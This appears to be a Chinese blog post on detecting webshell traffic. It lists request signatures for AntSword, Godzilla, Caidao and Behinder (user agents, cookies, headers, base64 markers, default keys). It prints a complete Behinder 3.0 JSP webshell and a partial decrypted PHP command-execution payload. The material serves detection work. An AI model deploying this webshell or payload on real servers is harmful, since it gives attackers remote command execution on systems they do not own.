WebShell 流量特征

一、蚁剑流量特征

当我们在蚁剑中执行whomai命令,发送给靶机的流量长这样:image-20240312174418790

执行dir命令相关流量:image-20240312180816492

对前部分进行url 解码可获得如下:


1=@ini_set("display_errors", "0");@set_time_limit(0);$opdir=@ini_get("open_basedir");if($opdir) {$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);@array_push($oparr,$ocwd,sys_get_temp_dir());foreach($oparr as $item) {if(!@is_writable($item)

总结蚁剑流量特征如下:

  1. UA头可能会有antSword/版本号等字样
  2. 由木马连接密码开头(加密的话大都是_0x 开头)
  3. 明文中有@ini_set() 函数开头来隐藏错误信息(强特征)
  4. 有@set_time_limit(0) 函数设置脚本执行时间为无限长
  5. 有@ini_get() 函数获取php配置文件中open_basedir的值,即获取可以访问的目录
  6. 存在eval 这个危险函数(强特征)
  7. payload分段并 采用base64 加密(因此有base64界面相关函数)
  8. 服务器返回的是明文信息

强特征:

  1. @ini_set() 函数开头绝对是一个强特征。其在不同编码下的不同表现形式:

    1
    2
    3
    base64编码:QGluaV9zZXQ
    chr编码:cHr(64).ChR(105).ChR(110).ChR(105).ChR(95).ChR(115).ChR(101).ChR(116)
    rot13编码:@vav_frg
  2. 以上,不管各种编码,数据包中存在eval 函数

二、哥斯拉流量特征

在哥斯拉中执行whoami命令,流量如下:image-20240312182433169image-20240312183149262

总结特征如下:

  1. UA头默认是使用的JDK 信息(如 Java/1.8.0_121,具体取决JDK环境)
  2. Cookie 值有PHPSESSID=iocrpclbbt8mpg4i11j5ocohu0;(强特征)
  3. 头部Accept值text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8(弱特征)
  4. 由木马连接密码开头
  5. 首当其冲的是 eval 命令执行函数
  6. 存在base64_decode、strrev和urldecode 等解码函数
  7. 在请求体中存在key 字段
  8. 相应包分前后两种加密方式

强特征:

  1. Cookie值存在PHPSESSID=js1bi491i4bcqlogsotqg91pd6;这种字段值

三、菜刀流量特征

在菜刀中执行dir命令,流量如下image-20240313102854698.png

总结特征如下:

  1. 强特征:直接eval,明文后base64加密,请求包中会有eval、assert这种base64特征的字符
  2. 强特征:固定存在QGluaV9zZXQ
  3. 请求体payload 为base64编码
  4. 请求体中固定存在QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7J

四、冰蝎3.0流量特征

内置16个UA头,取消动态密钥获取,目前很多waf等设备都做了冰蝎2.0的流量特征分析。所以3.0取消了动态密钥获取;界面由swt改为javafx;aes密钥变为md5(“pass”)[0:16]

1
2
3
4
5
6
7
请求包中content-length 为5740或5720(可能会根据Java版本而改变)
每一个请求头中存在
Pragma: no-cache,Cache-Co

ntrol: no-cache
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/*;q=0.8,application/signed-exchange;v=b3;q=0.9
出处:https://blog.csdn.net/qq_53577336/article/details/125048353

在shell.jsp中e45e329feb5d925b为rebeyond

1
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2"><jsp:directive.page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"/><jsp:declaration> class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}</jsp:declaration><jsp:scriptlet>String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);</jsp:scriptlet></jsp:root>

五、冰蝎4.0流量特征

冰蝎4.0建立时候java也会与主机建立tcp连接,端口在49700左右每次连接就逐一叠加,冰蝎4.0他是内置了10个user-agent,每次连接shell都会换一个进行使用连接,他有固定的请求头和响应头,并且默认时候冰蝎webshell都有一串密钥,这个密钥是连接密码32位md5值的前16位,默认连接密码是rebeyond。

在冰蝎中执行whoami命令,流量如下:image-20240313102844082image-20240313102854690

当我们将密文的请求包在冰蝎中进行解密处理,得到如下:


@error_reporting(0);function getSafeStr($str){    $s1 = iconv('utf-8','gbk//IGNORE',$str);    $s0 = iconv('gbk','utf-8//IGNORE',$s1);    if($s0 == $str){        return $s0;    }else{        return iconv('gbk','utf-8//IGNORE',$str);    }}function main($cmd,$path){    @set_time_limit(0);    @ignore_user_abort(1);    @ini_set('max_execution_time', 0);    $result = array();    $PadtJn = @ini_get('disable_functions');    if (! empty($PadtJn)) {        $PadtJn = preg_replace('/[, ]+/', ',', $PadtJn);        $PadtJn = explode(',', $PadtJn);        $PadtJn = array_map('trim', $PadtJn);    } else {        $PadtJn = array();    }    $c = $cmd;    if (FALSE !== strpos(strtolower(PHP_OS), 'win')) {        $c = $c . " 2>&1\n";    }    $JueQDBH = 'is_callable';    $Bvce = 'in_array';    if ($JueQDBH('system') and ! $Bvce('system', $PadtJn)) {        ob_start();        system($c);        $kWJW = ob_get_contents();        ob_end_clean();    } else if ($JueQDBH('proc_open') and ! $Bvce('proc_open', $PadtJn)) {        $handle = proc_open($c, array(            array(                'pipe',                'r'            ),            array(                'pipe',                'w'            ),            array(                'pipe',                'w'            )        ), $pipes);        $kWJW = NULL;        while (! feof($pipes[1])) {            $kWJW .= fread($pipes[1], 1024);        }        @proc_close($handle);    } else if ($JueQDBH('passthru') and ! $Bvce('passthru', $PadtJn)) {        ob_start();        passthru($c);        $kWJW = ob_get_contents();        ob_end_clean();    } else if ($JueQDBH('shell_exec') and ! $Bvce('shell_exec', $PadtJn)) {        $kWJW = shell_exec($c);    } else if ($JueQDBH('exec') and ! $Bvce('exec', $PadtJn)) {        $kWJW = array();        exec($c, $kWJW);        $kWJW = join(chr(10), $kWJW) . chr(10);    } else if ($JueQDBH('exec') and ! $Bvce('popen', $PadtJn)) {        $fp = popen($c, 'r');        $kWJW = NULL;        if (is_resource($fp)) {            while (! feof($fp)) {                $kWJW .= fread($fp, 1024);            }        }        @pclose($fp);    } else {        $kWJW = 0;        $result["status"] = base64_encode("fail");        $result["msg"] = base64_encode("none of proc_open/passthru/shell_exec/exec/exec is available");        $key = $_SESSION['k'];        echo encrypt(json_encode($result));        return;            }    $result["status"] = base64_encode("success");    $result["msg"] = base64_encode(getSafeStr($kWJW));    echo encrypt(json_encode($result));}function Encrypt($data){    $key="e45e329feb5d925b"; for($i=0;$i

总结特征如下:

  1. 没有显示木马连接密码(默认连接密码为rebeyond,其md5值的前16位被作为AES密钥)
  2. Accept值 application/json, text/javascript, */*; q=0.01浏览器可接受任何文件,但最倾向 application/json 和 text/javascript
  3. 弱特征:Content-type: Application/x-www-form-urlencoded
  4. @error_reporting(0); 关闭了所有的错误报告
  5. 长连接:冰蝎通讯默认使用长连接,避免了频繁的握手造成的资源开销。默认情况下,请求头和响应头里会带有 Connection
  6. 连接端口在49700左右每次连接就逐一叠加